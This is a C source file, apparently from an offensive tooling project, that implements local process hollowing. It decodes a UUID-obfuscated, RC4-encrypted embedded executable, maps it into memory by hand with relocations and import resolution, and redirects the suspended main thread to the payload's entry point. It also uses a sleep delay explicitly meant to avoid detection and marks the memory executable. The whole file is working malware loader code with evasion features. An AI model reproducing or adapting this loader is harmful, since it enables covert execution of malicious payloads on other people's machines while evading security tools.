Hollowing/hollowing.c
#include "common.h"
#include "buff.h"

#define MIN_PE_HEADER_SIZE  0x200       // Generous safety margin to validate PE File
#define DELAYTIME	        30          // Delay in seconds

BOOL ValidPE() {

    BOOL    bSTATE          = TRUE;
    PBYTE   pbAddress       = NULL;
    SIZE_T  stSize          = 0;

    // Deobfuscate the first x bytes
    if (!UuidDeobfuscation(UuidArray, (SIZE_T)(MIN_PE_HEADER_SIZE / 16), &pbAddress, &stSize)) {
        error("UuidDeobfuscation - Failed to deobfuscate UUID");
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("UuidDeobfuscation - Deobfuscated %zu bytes at 0x%p", stSize, pbAddress);
    //print_bytes(pbAddress, stSize);

    // Decrypt the first x bytes 
    if (!Rc4EncryptionViaSystemFunc032(pbAddress, stSize, cKey, sizeof(cKey))) {
        error("Rc4EncryptionViaSystemFunc032 - Failed");
        bSTATE = FALSE;
        goto _cleanUp;
    };
    info_t("Rc4EncryptionViaSystemFunc032 - Decrypted %zu bytes at 0x%p", stSize, pbAddress);
    //print_bytes(pbAddress, stSize);

    // Get the DOS headers
    // Cast the PBYTE to PIMAGE_DOS_HEADER
    PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)pbAddress;

    // Check if the header has value 0x5A4D (MZ)
    // MS: The e_magic field (a WORD) needs to be set to the value 0x5A4D
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
        error("File is not MS DOS, e_magic is not IMAGE_DOS_SIGNATURE - 0x5A4D (MZ)");
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Get the NT Headers by adding pImgDosHdr->e_lfanew to pPE. e_lfanew is a offset to the start of the NT headers.
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)((char*)(pbAddress)+pImgDosHdr->e_lfanew);

    // Check if it is a valid PE File
    // MS: In a valid PE file, the Signature field is set to the value 0x50450000, which in ASCII is "PE00"
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
        error("File is not a valid PE file, Signature is not IMAGE_NT_SIGNATURE - 0x50450000 (PE)");
        bSTATE = FALSE;
        goto _cleanUp;
    }

_cleanUp:

    if (pbAddress) {
        HeapFree(GetProcessHeap(), 0, pbAddress);
    }

    return bSTATE;

}

BOOL DelayViaNtDE(IN LONGLONG dwMilliSeconds) {

    LONGLONG        llDelay = 0;
    NTSTATUS        STATUS = 0;
    LARGE_INTEGER   liDelayInterval = { 0 };

    // Calc MINUTESTODELAY to nano seconds in negative time interval
    llDelay = dwMilliSeconds * 10000;
    
    // Store the delay as a negative value
    liDelayInterval.QuadPart = -llDelay;

    info_t("Delaying with \"NtDelayExecution\" for %0.3d seconds", (dwMilliSeconds / 1000));

    // Get memory address of NTAPI call
    fnNtDelayExecution pNtDelayExecution = (fnNtDelayExecution)GetProcAddress(GetModuleHandle(L"NTDLL.DLL"), "NtDelayExecution");

    // Sleep for x nanoseconds
    // https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject
    STATUS = pNtDelayExecution(
        FALSE,              // Bool alertable
        &liDelayInterval    // Nano seconds to wait
    );

    if (STATUS != 0x00 && STATUS != STATUS_TIMEOUT) {
        errorNT("NtDelayExecution - Failed", STATUS);
        return FALSE;
    }

    return TRUE;
}

BOOL RunPE(IN HANDLE hMainThreadHandle, IN LPVOID PEBuff) {

    BOOL    bSTATE          = TRUE;
    PBYTE   pAddressImage   = NULL;

    // Get the DOS headers
    // Cast the PBYTE to PIMAGE_DOS_HEADER
    PIMAGE_DOS_HEADER	pImgDosHdr = (PIMAGE_DOS_HEADER)PEBuff;

    // Check if the header has value 0x5A4D (MZ)
    // MS: The e_magic field (a WORD) needs to be set to the value 0x5A4D
    if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
        error("File is not MS DOS, e_magic is not IMAGE_DOS_SIGNATURE - 0x5A4D (MZ)");
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Get the NT Headers by adding pImgDosHdr->e_lfanew to pPE. e_lfanew is a offset to the start of the NT headers.
    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)((char*)(PEBuff) + pImgDosHdr->e_lfanew);

    // Check if it is a valid PE File
    // MS: In a valid PE file, the Signature field is set to the value 0x50450000, which in ASCII is "PE00"
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
        error("File is not a valid PE file, Signature is not IMAGE_NT_SIGNATURE - 0x50450000 (PE)");
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Allocate memory for the PE image in the current process
    // https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc
    pAddressImage = VirtualAlloc(
        NULL,                                       // Optional can be null
        pImgNtHdrs->OptionalHeader.SizeOfImage,     // Size to allocate
        MEM_COMMIT | MEM_RESERVE,                   // MEM_COMMIT | MEM_RESERVE in one go
        PAGE_READWRITE                              // Memory protection
    );
    if (!pAddressImage) {
        errorWin32("VirtualAlloc - Failed to allocate memory");
        bSTATE = FALSE;
        goto _cleanUp;
    }
    info_t("VirtualAlloc - Allocated %d bytes of RW memory at 0x%p for the PE image", pImgNtHdrs->OptionalHeader.SizeOfImage, pAddressImage);

    // Copy the PE headers
    memcpy(pAddressImage, PEBuff, pImgNtHdrs->OptionalHeader.SizeOfHeaders);

    // Get the first section header
    PIMAGE_SECTION_HEADER pImgSectionHdrs = IMAGE_FIRST_SECTION(pImgNtHdrs);

    // For loop to iterate over each section header in the PE (.text, .data, .rdata etc)
    for (WORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {
        // Copy the section to each RVA
        memcpy(
            pAddressImage + pImgSectionHdrs[i].VirtualAddress,          // Destination in memory (at correct RVA)
            (PBYTE)PEBuff + pImgSectionHdrs[i].PointerToRawData,        // Source in buffer (raw on-disk offset)
            pImgSectionHdrs[i].SizeOfRawData                            // Size to copy (raw size)
        );                           
    }

    // Apply relocations to adjust addresses in the PE file
    IMAGE_DATA_DIRECTORY DirectoryReloc = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

    // Check if PE has a relocation table
    if (DirectoryReloc.VirtualAddress == 0) {
        error("RunPE - Failed in relocation of image");
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Get the actuall address of the base relocation table
    PIMAGE_BASE_RELOCATION pImgBaseReloc = (PIMAGE_BASE_RELOCATION)(DirectoryReloc.VirtualAddress + (ULONG_PTR)pAddressImage);

    // Process each relocation block
    // Stop when VirtualAddress == 0
    while (pImgBaseReloc->VirtualAddress != 0) {
        // Extract the base RVA of the page that requires relocation.
        DWORD page = pImgBaseReloc->VirtualAddress; 

        // Check block is valid
        if (pImgBaseReloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION)) 
        {
            // Determine Number of Relocation Entries in this Block
            size_t count = (pImgBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

            // Get List of Relocation Entries that contains relocation offsets and types.
            BASE_RELOCATION_ENTRY* list = (BASE_RELOCATION_ENTRY*)(LPWORD)(pImgBaseReloc + 1);

            // Iterate through each relocation entry
            for (size_t i = 0; i < count; i++) {

                // Check if the relocation type is valid IMAGE_REL_BASED_DIR64 0xA (10)
                if (list[i].Type & IMAGE_REL_BASED_DIR64) { 

                    // Compute the Absolute Address to Patch
                    DWORD rva = list[i].Offset + page;
                    PULONG_PTR p = (PULONG_PTR)((LPBYTE)pAddressImage + rva);

                    // Adjust the address by subtracting the original image base and adding the new base
                    *p = ((*p) - pImgNtHdrs->OptionalHeader.ImageBase) + (ULONG_PTR)pAddressImage;
                }
            }
        }
        // Move to the next relocation block
        pImgBaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pImgBaseReloc + pImgBaseReloc->SizeOfBlock);
    }

    // This retrieves the Import Table Directory Entry
    IMAGE_DATA_DIRECTORY ImgDirectoryImports = pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];

    // Check if imports exists
    if (!ImgDirectoryImports.VirtualAddress) {
        error("RunPE - Failed no imports");
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Get the first import descriptor
    PIMAGE_IMPORT_DESCRIPTOR pImgImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(ImgDirectoryImports.VirtualAddress + (ULONG_PTR)pAddressImage);

    // Process each DLL in the import table
    while (pImgImportDescriptor->Name != NULL)
    {
        // Retrieve DLL Name
        LPCSTR ModuleName = (LPCSTR)pImgImportDescriptor->Name + (ULONG_PTR)pAddressImage;

        // Load the module
        HMODULE Module = LoadLibraryA(ModuleName);
        if (Module)
        {
            // Get the First Thunk (IAT Pointer) that contains function pointers that must be resolved.
            PIMAGE_THUNK_DATA thunk = NULL;
            thunk = (PIMAGE_THUNK_DATA)((ULONG_PTR)pAddressImage + pImgImportDescriptor->FirstThunk);

            // This loop will resolve function addresses for each import
            while (thunk->u1.AddressOfData != NULL)
            {
                ULONG_PTR FuncAddr = 0;

                // If the function is imported by ordinal, resolve by ordinal
                if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
                {
                    // GetProcAddress() retrieves the function address using the ordinal.
                    LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
                    FuncAddr = (ULONG_PTR)GetProcAddress(Module, functionOrdinal);
                }
                else  // If imported by name, resolve by function name
                {
                    // GetProcAddress() retrieves the function address using the function name.
                    PIMAGE_IMPORT_BY_NAME FuncName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)pAddressImage + thunk->u1.AddressOfData);
                    FuncAddr = (ULONG_PTR)GetProcAddress(Module, FuncName->Name);
                }

                // Store the Function Pointer in the IAT
                thunk->u1.Function = FuncAddr;

                // Move to the Next Function
                ++thunk;
            }
        }

        // Move to the next DLL in the import table
        pImgImportDescriptor++;
    }

    // Create CONTEXT structure to manipulate thread execution
    CONTEXT CTX = { 0 };

    // CONTEXT_FULL to retrieve all register values
    CTX.ContextFlags = CONTEXT_FULL;

    // Get the current context of the thread
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext
    BOOL bGetContext = GetThreadContext(
        hMainThreadHandle,  // Handle to the thread
        &CTX                // Pointer to thread context
    );
    if (!bGetContext) {
        error("GetThreadContext - Failed to get thread context");
        bSTATE = FALSE;
        goto _cleanUp;
    }

    // Set the new instruction pointer (RIP) to the entry point of the loaded PE file
    CTX.Rip = pImgNtHdrs->OptionalHeader.AddressOfEntryPoint + (ULONG_PTR)pAddressImage;

    // Set the modified thread context so execution starts at the new entry point
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext
    BOOL bSetContext = SetThreadContext(
        hMainThreadHandle,  // Handle to the thread
        &CTX                // Pointer to thread context
    );
    if (!bSetContext) {
        error("SetThreadContext - Failed to set thread context");
        bSTATE = FALSE;
        goto _cleanUp;
        return FALSE;
    }

    // Delay execution to avoid immediate detection
    DelayViaNtDE(DELAYTIME * 1000);

    // Set the memory to RWX
    // https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect
    DWORD dwOldProtection = 0;
    BOOL bVirtualProtect = VirtualProtect(
        pAddressImage,                              // Pointer to memory address
        pImgNtHdrs->OptionalHeader.SizeOfImage,     // Size
        PAGE_EXECUTE_READWRITE,                     // New protections
        &dwOldProtection                            // Saves the old protection
    );
    if (!bVirtualProtect) {
        errorWin32("VirtualProtect - Failed to change memory protection");
    }
    info_t("VirtualProtect - Changed memory at 0x%p to RWX", pAddressImage);

    // Resume execution of the thread, jumping to the new PE entry point
    info_t("ResumeThread - Resuming thread, Executing PE File");
    ResumeThread(hMainThreadHandle);

_cleanUp:

    return bSTATE;

}

BOOL RunIt(IN LPVOID pHandle) {

    HANDLE  hMainThreadHandle   = NULL;
    PBYTE	pbAddress           = NULL;
    SIZE_T	stAddressSize       = 0;
    BOOL    bValidPE            = TRUE;

    info("RunIt - Running");

    // Cast and dereference to get handle to main thread
    hMainThreadHandle = *(HANDLE*)pHandle;

    // Suspend the main thread
    // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-suspendthread
    SuspendThread(hMainThreadHandle);
    info("SuspendThread - MainThread suspended");

    // Validate that the decrypted PE file is a valid Windows executable
    info("ValidPE - Deobfuscating and Decrypting first %d bytes to check if valid PE", MIN_PE_HEADER_SIZE);
    bValidPE = ValidPE();
    if (!bValidPE) {
        error("ValidPE - The PE file is not valid");
        ExitThread(0);
    }
    okay("ValidPE - The PE file is valid");

    // UUID Deobfuscate full payload
    if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pbAddress, &stAddressSize)) {
    	error("UuidDeobfuscation - Failed to deobfuscate UUID");
    	return EXIT_FAILURE;
    }
    okay("UuidDeobfuscation - Deobfuscated %zu bytes at 0x%p", stAddressSize, pbAddress);
    
    // RC4 decrypt the payload
    if (!Rc4EncryptionViaSystemFunc032(pbAddress, stAddressSize, cKey, sizeof(cKey))) {
    	error("Rc4EncryptionViaSystemFunc032 - Failed");
    	return FALSE;
    };
    okay("Rc4EncryptionViaSystemFunc032 - Decrypted %zu bytes at 0x%p", stAddressSize, pbAddress);

    // Run the PE in memory
    info("RunPE - Running the PE file");
    if (!RunPE(hMainThreadHandle, pbAddress)) {
        error("RunPE - Local hollowing failed");
    }

_cleanUp:

    // Free allocated memory for the PE buffer if validation fails
    if (pbAddress) {
        HeapFree(GetProcessHeap(), 0, pbAddress);
    }
     
    return TRUE;

}